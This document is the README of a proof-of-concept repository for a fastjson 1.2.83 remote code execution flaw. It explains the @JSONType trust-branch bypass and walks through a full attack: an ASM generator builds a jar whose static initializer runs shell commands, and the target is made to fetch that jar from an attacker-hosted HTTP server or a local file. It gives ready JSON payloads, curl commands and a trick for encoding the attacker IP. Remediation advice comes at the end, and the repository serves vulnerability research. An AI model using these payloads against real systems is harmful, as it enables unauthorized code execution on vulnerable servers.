⚠️ Disclaimer

This project is intended solely for security research, vulnerability reproduction, and authorized testing. It is strictly forbidden to use it against any unauthorized system, for illegal attacks, or for malicious purposes. Users bear full responsibility for their own actions; the author assumes no legal liability for any misuse.

Vulnerability analysis article: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w

📖 Project Overview

This project sets up a complete fastjson 1.2.83 vulnerability reproduction environment around CVE-2026-16723:

• demo/ — The vulnerable Spring Boot 2.7.18 web application (dependent on fastjson 1.2.83), which exposes the POST /parse endpoint and directly calls JSON.parse(json);
• exp/ — An ASM-based malicious probe jar generator (in both HTTP protocol / FILE protocol forms);
• 环境/ — Precompiled FatJars for three middleware options (Tomcat / Jetty / Undertow), ready to use out of the box.

Core exploitation idea: by crafting special JSON whose @type is a jar URL, fastjson is driven along the @JSONType annotation trust branch → getResourceAsStream downloads a remote/local jar → defineClass loads the malicious class → class initialization triggers <clinit> → arbitrary command execution (RCE).

🎯 Vulnerability Overview

Exploitation Conditions

1. Target code: uses JSON.parse(json) or JSON.parseObject(json) to directly parse untrusted input, with fastjson version in 1.2.66 ~ 1.2.83 and safeMode not enabled;
2. Target runtime form: Spring Boot FatJar (started via java -jar, LaunchedURLClassLoader; only Spring Boot ≤ 2.7 retains the jar: protocol Handler fallback capability);
3. Target JVM: JDK 8 (on JDK 9+, defineClass throws ClassFormatError, so at best you can only achieve SSRF);
4. Network reachability: the target can reach the attacker machine's HTTP port (HTTP protocol chain) or can read a local jar file (FILE protocol chain).

🧩 Vulnerability Principle

When fastjson's checkAutoType encounters a class carrying the @JSONType annotation, it enters the trust branch, skipping most blacklist checks and allowing the load. This project exploits that by using ASM to write bytecode directly, writing an [illegal inner class name] into the this_class of the class constant pool so that all three names align perfectly:

@type        jar:http:..2130706433:19090.x!.y        （点形态，无斜杠）
resource     jar:http://2130706433:19090/x!/y.class   （点 -> 斜杠）
this_class   jar:http://2130706433:19090/x!/y         （字节码内部类名）

Malicious class structure:

1. @JSONType annotation — the key that opens fastjson's checkAutoType trust branch;
2. Default constructor <init>()V — ensures fastjson can instantiate the class normally;
3. <clinit> static initializer block — upon class loading/initialization, executes Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) to achieve command execution.

An illegal class name cannot be written with javac; only ASM can write the URL directly into the constant pool — this is why this project's generator depends on asm-9.6.jar.

📁 Project Structure

CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查（http / file 协议两条命令）
├── demo/                        # 漏洞靶场源码（Spring Boot 2.7.18 + fastjson 1.2.83）
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链（jar:http）
│   ├── GenProbefile.java        # FILE 协议链（jar:file）
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar（开箱即用）
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

Lab Endpoint

demo/src/main/java/com/example/demo/controller/VulController.java:

@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型，直接解析不可信输入
    return "Parsed!";
}

🚀 Quick Start

1. Start the Vulnerable Lab

The lab must run in a JDK 8 environment (consistent with the exploitation conditions).

# 方式 A（推荐）：直接使用预编译 FatJar，三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B：源码构建运行（默认 Tomcat，需本机安装 Maven）
cd demo
mvn spring-boot:run

After startup, the endpoint address is: http://127.0.0.1:8080/parse

💥 Exploitation

Method 1: HTTP Protocol Chain (jar:http, Recommended)

① Compile the Generator

cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② Generate the Malicious Probe Jar

java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'

• 19090 — the HTTP hosting port for the malicious jar
• open -a Calculator — the command to execute on the target machine (pops up Calculator on macOS; on Linux, use id > /tmp/pwned 2>&1 and verify whether the file exists)

By default, a file named x (no extension) is generated, which contains y.class inside. The payload is:

{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ Host the Malicious Jar (HTTP Service)

python3 -m http.server 19090

Make sure python3 -m http.server is started in the directory where the x file was generated.

④ Send the Payload to the Target

curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ Verify

The command execution result is not echoed back in the HTTP response; confirmation must be done on the target machine:

# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器（open -a Calculator）

Method 2: FILE Protocol Chain (jar:file)

Applicable scenario: the target cannot access the attacker machine's HTTP port (intranet isolation / restricted egress), but the jar file can be placed onto the target machine's filesystem.

① Compile the Generator

cd exp
javac -cp asm-9.6.jar GenProbefile.java

② Generate the Probe Jar in the Target's Corresponding Directory

java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'

The generator computes the jar:file: URL based on the current directory (the directory separator / is replaced with .). For example, if generated under /tmp/project/exp, the payload is:

{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}

③ Place the Generated Jar in the Corresponding Directory on the Target Machine

Upload/copy the generated file y to the absolute path on the target machine that corresponds to @type (e.g., /tmp/project/exp/y), keeping the directory structure consistent.

④ Send the Payload to the Target

curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'

Note: the path in the FILE protocol chain must match the actual file path on the target machine exactly; otherwise resource probing fails and the load cannot be triggered.

⚙️ Generator Parameters

GenProbeHttp (HTTP Protocol Chain)

GenProbefile (FILE Protocol Chain)

IP Integer Form Conversion

2130706433 is the unsigned 32-bit integer form of 127.0.0.1. Writing it as an integer avoids the . in the IP being broken by fastjson's . → / replacement logic. When the attacker machine is not the local host:

python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"

🔍 FAQ

Error: autoType is not support. jar:http:...

This means the jar can be downloaded (SSRF is confirmed), but TypeUtils.loadClass returned null. There are almost only two reasons:

1. The malicious class does not carry the @JSONType annotation — the probe does not pass the trust branch, so loadClass is never reached;
2. The malicious class's inner class name does not align with @type — the class name in defineClass does not match the actual class, so loading fails.

The generator in this project already addresses both points: @JSONType annotation + alignment of the three names.

A Single jar:http Request Still Cannot Achieve RCE?

If the target's ClassLoader is not LaunchedURLClassLoader (for example, running directly from an IDE, a plain war package, or Spring Boot 3.x), a single jar:http chain cannot achieve RCE; at most it can only verify SSRF.

Why Is JDK 8 Required?

On JDK 9+, defineClass validates illegal class names more strictly and throws ClassFormatError, so the chain breaks at the loading stage.

🛡 Remediation Recommendations

1. Upgrade the component: fastjson 1.x is no longer maintained; it is recommended to migrate to fastjson2 (or upgrade to a fixed version), and follow up on official security advisories;
2. Enable safeMode: ParserConfig.getGlobalInstance().setSafeMode(true); completely disables autoType;
3. Avoid parsing untrusted input: do not call JSON.parse(json) / JSON.parseObject(json) directly on user input; try to use JSON.parseObject(json, Xxx.class) to explicitly specify the target type;
4. Use block/allow lists: only allow trusted classes through ParserConfig.addAccept(...);
5. Upgrade Spring Boot / JDK: using newer JDK and Spring Boot versions reduces the exploitable surface;
6. Minimize exposure: apply authentication to internet-facing endpoints and use a WAF to block suspicious @type payloads.

📚 References

• fastjson official GitHub: https://github.com/alibaba/fastjson
• fastjson security advisories / vulnerability intelligence: https://github.com/alibaba/fastjson/wiki/security_update_guidance